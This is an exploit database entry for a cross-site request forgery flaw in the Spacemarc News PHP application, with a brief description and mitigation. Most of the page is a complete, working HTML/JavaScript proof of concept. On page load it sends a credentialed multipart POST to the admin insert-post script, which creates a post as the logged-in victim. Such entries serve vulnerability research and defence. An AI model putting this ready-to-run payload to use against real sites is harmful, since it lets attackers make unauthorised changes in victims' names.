Spacemarc News - Cross-Site Request Forgery ( Add New Post)

vendor:

News

by:

Besim

8,8

CVSS

HIGH

Cross-Site Request Forgery

352

CWE

Product Name: News

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: PHP

2016

Spacemarc News – Cross-Site Request Forgery ( Add New Post)

A Cross-Site Request Forgery (CSRF) vulnerability exists in Spacemarc News, which allows an attacker to add a new post on behalf of an authenticated user. The attacker can craft a malicious HTML page containing a malicious request to the vulnerable application. When the victim visits the malicious page, the malicious request is sent to the vulnerable application, resulting in the addition of a new post.

Mitigation:

The application should implement a CSRF protection mechanism, such as a unique token, to verify that the request is coming from an authenticated user.

Source

Exploit-DB raw data:

# Exploit Title :              Spacemarc News - Cross-Site Request
Forgery ( Add New Post)
# Author :                     Besim
# Google Dork :                 -
# Date :                       10/10/2016
# Type :                       webapps
# Platform :                   PHP
# Vendor Homepage :   http://www.spacemarc.it
# Software link :
 http://www.hotscripts.com/listings/jump/download/107255


*########################### CSRF PoC ###############################*

<html>
  <!-- CSRF PoC -->
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://site_name/news/admin/inserisci.php", true);
        xhr.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart/form-data;boundary=---------------------------7815509202030471153167006625");
        xhr.withCredentials = true;
        var body ="-----------------------------7815509202030471153167006625\r\n" +
          "Content-Disposition: form-data; name=\"titolo\"\r\n" +
          "\r\n" +
          "MavilerTester\r\n" +
          "-----------------------------7815509202030471153167006625\r\n" +
          "Content-Disposition: form-data; name=\"im\"\r\n" +
          "\r\n" +
          "IM\r\n" +
          "-----------------------------7815509202030471153167006625\r\n" +
          "Content-Disposition: form-data; name=\"size\"\r\n" +
          "\r\n" +
          "Normale\r\n" +
          "-----------------------------7815509202030471153167006625\r\n" +
          "Content-Disposition: form-data; name=\"color\"\r\n" +
          "\r\n" +
          "Color\r\n" +
          "-----------------------------7815509202030471153167006625\r\n" +
          "Content-Disposition: form-data; name=\"helpbox\"\r\n" +
          "\r\n" +
          "[u]text[/u]\r\n" +
          "-----------------------------7815509202030471153167006625\r\n" +
          "Content-Disposition: form-data; name=\"testo\"\r\n" +
          "\r\n" +
          "tester\r\n" +
          "-----------------------------7815509202030471153167006625\r\n" +
          "Content-Disposition: form-data; name=\"immagine\"\r\n" +
          "\r\n" +
          "\r\n" +
          "-----------------------------7815509202030471153167006625\r\n" +
          "Content-Disposition: form-data; name=\"userfile\";filename=\"\"\r\n" +
          "Content-Type: application/octet-stream\r\n" +
          "\r\n" +
          "\r\n" +
          "-----------------------------7815509202030471153167006625\r\n" +
          "Content-Disposition: form-data; name=\"letture\"\r\n" +
          "\r\n" +
          "0\r\n" +
          "-----------------------------7815509202030471153167006625\r\n" +
          "Content-Disposition: form-data; name=\"categoria\"\r\n" +
          "\r\n" +
          "1\r\n" +
          "-----------------------------7815509202030471153167006625\r\n" +
          "Content-Disposition: form-data; name=\"abilita_commenti\"\r\n" +
          "\r\n" +
          "on\r\n" +
          "-----------------------------7815509202030471153167006625\r\n" +
          "Content-Disposition: form-data; name=\"notifica_commenti\"\r\n"+
          "\r\n" +
          "on\r\n" +
          "-----------------------------7815509202030471153167006625\r\n" +
          "Content-Disposition: form-data; name=\"submit\"\r\n" +
          "\r\n" +
          "Inserisci\r\n" +
          "-----------------------------7815509202030471153167006625--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }
      submitRequest();
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>

*####################################################################*